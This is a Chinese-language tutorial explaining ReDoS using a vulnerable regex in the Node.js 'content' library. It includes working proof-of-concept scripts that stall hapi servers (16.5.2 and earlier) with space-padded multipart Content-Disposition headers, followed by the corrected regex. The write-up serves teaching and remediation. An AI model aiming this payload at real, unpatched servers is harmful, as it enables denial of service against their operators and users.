基于正则表达式的 DDoS 及实例讲解

Posted 二向箔安全

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了基于正则表达式的 DDoS 及实例讲解相关的知识,希望对你有一定的参考价值。

在之前的文章中,我们讲解过基于hash的 DoS 攻击。这篇文章中,我们将带来基于正则表达式类型的(Regular Expression)拒绝服务攻击的讲解。最后,我们用 hapi 框架的一个漏洞作为实例解析。


什么是 ReDoS?


当一个正则表达式包含了冗余的匹配,那么它就极有可能引发 ReDoS(即:基于正则表达式的拒绝服务攻击)。由于过多的匹配,正则引擎的匹配速度会飞速下滑。就拿 (a+)+ 来说,当我们输入 aa 时,正则引擎会匹配成 (a)(a) 或者 (aa)。如果我们输入了 aaa,正则引擎就会查询(aaa)(aa)(a)(a)(aa),甚至是 (a)(a)(a)。很明显,我们每多输入一个字母 a,匹配的数量就要乘以2。不过有一点需要注意,我们最终传递进去的字符最终需要被匹配失败 ,否则短路效应会直接结束匹配并返回结果,反之则会一直枚举可能的情况。


寻找问题


有了基本知识,让我们来实际操作一下。一个正则表达式如下(最新版本已被修复):

/([^\=\*]+)(\*)?\s*\=\s*(?:([^;']+\'[\w-]*\'[^;\s]+)|(?:\"([^"]*)\")|([^;\s]*))(?:(?:\s*;\s*)|(?:\s*$))/g


看上去很棘手,不过只要问题的核心是冗余的表达式,我们就一定能发现漏洞。我们从头开始,第一个可疑处是 \s*(?:([^;']+\'[\w-]*\'[^;\s]+)(排除多余的部分后,我们可以简化其为 \s*[^;']+)。用自然语言来描述,大概意思就是找到跟随任意数量空格的非冒号或单引号的一个或多个字符。


在这个 repo 中,我们可以得知这个表达式是 content 库用来解析 Content-Dposistion 头中的参数。一个合法的 Content-Dposistion 看上去像:

Content-Disposition:form-data; name="content";filename="hello.txt"。为了确认这一点,我们来用这个模块解析一下:


'use strict';const Content = require('content');const header = 'form-data; name="content"; filename="hello.txt"';console.time('parse');console.log(Content.disposition(header));console.timeEnd('parse');


如果你安装了 content@3.0.5 或之前的版本,你会得到这个:


{ name: 'content', filename: 'hello.txt' }parse: 6.200ms


我们已知可以利用空格,并且构造的payload必须被匹配失败,那么应该如何写出PoC呢?答案很简单,先传入非空格字符,再在后面附加上尽可能多的空格。我们来做个500字的测试:


'use strict';constContent = require('content');constheader = 'form-data; x' + new Array(500).join(' '); console.time('parse'); console.log(Content.disposition(header)); console.timeEnd('parse');


这是输出:


{Error: Invalid content-disposition header format includes invalid parameters /* snip */ }parse:47.440ms


解析速度比原来慢了接近8倍,但总的来说还不算严重。当空格为1000时,解析则花了292ms,当我们再加多1000个空格后,解析器花了2387ms 执行。问题很明显了,不过我们依然不清楚它会有多严重的影响。


利用content攻击hapi


Content-Disposition 一般用来告诉客户端响应主体是内联的还是一个附件,有时也用来提供关于multipart form(多重表单)的元数据信息。由于第一个(用途)往往为服务器发出,我们就需要找出使用该框架解析 Content-Disposition 的客户端,而这十分罕见,所以我们不做讨论。不过第二种情况则屡见不鲜,让我们一起研究一下。


由于hapi使用content,我们就可以用它攻击hapi服务器。首先,我们得模拟接收表单(复现需要hapi@16.5.2及以下的版本):


'use strict';constHapi = require('hapi');constserver = new Hapi.Server();server.connection({ port: 8080 });server.route({method: 'post', path: '/',handler: function (request, reply) {return reply(); } });server.start(() => {console.log('started'); });


现在我们可以开始构造PoC了:


'use strict';constWreck = require('wreck');constpayload = ['--123456','content-disposition: form-data; x' + newArray(2000).join(' '), 'content-type: text/plain','', 'text', '--123456', 'content-disposition: form-data;name="field2"', 'content-type: text/plain','', 'text', '--123456--' ].join('\r\n'); console.time('req'); Wreck.post('http://localhost:8080', { headers: { 'content-type': 'multipart/form-data; boundary=123456', 'content-length': Buffer.byteLength(payload) }, payload }, (err, res, body)=> { console.timeEnd('req');});


这一段代码跑了 46ms。似乎没有想象中这么慢,让我们看看哪里出来问题。翻了一段又一段的执行链,我们发现 hapi 使用 subtext 中的 pez 解析payload。pez 会截断一个 header 的结束与另一个 header 的开头之间额外的空格,所以我们需要在空格结尾添加一个字符(用来表示该 header 还没结束)防止空格被移除:


const payload = [ '--123456', 'content-disposition: form-data; x' + new Array(2000).join(' ') + 'x', 'content-type: text/plain', '', 'text', '--123456', 'content-disposition: form-data; name="field2"', 'content-type: text/plain', '', 'text', '--123456--' ].join('\r\n');


这个 PoC 则执行了2000多ms,大功告成了!不过我们应该如何修复呢?


正确的解析方式


前一个式子是因为空格的冗余匹配而导致的,因此,我们只需要在匹配字符时将空格也纳入黑名单即可:\s*[^;'\s]+,我们先来试试这种简单粗暴的改法:

/([^\=\*]+)(\*)?\s*\=\s*(?:([^;'\s]+\'[\w-]*\'[^;\s]+)|(?:\"([^"]*)\")|([^;\s]*))(?:(?:\s*;\s*)|(?:\s*$))/g


再运行一次 PoC,结果还是跑了两千多毫秒。


在该表达式开头处,你会看到 [^\=\*]+\s*。因此,我们还需修正此处:

/([^\=\*\s]+)(\*)?\s*\=\s*(?:([^;'\s]+\'[\w-]*\'[^;\s]+)|(?:\"([^"]*)\")|([^;\s]*))(?:(?:\s*;\s*)|(?:\s*$))/g


现在,执行一次 PoC 仅需六十多毫秒,终于大功告成了!



以上是关于基于正则表达式的 DDoS 及实例讲解的主要内容,如果未能解决你的问题,请参考以下文章

Python正则表达式讲解

用一个实例讲解rename命令中正则表达式的使用

Python正则及geometer正则截图讲解

2019手机号码JS正则表达式验证实例代码

正则表达式高级技巧及实例详解

常用正则表达式最强汇总(含Python代码举例讲解+爬虫实战)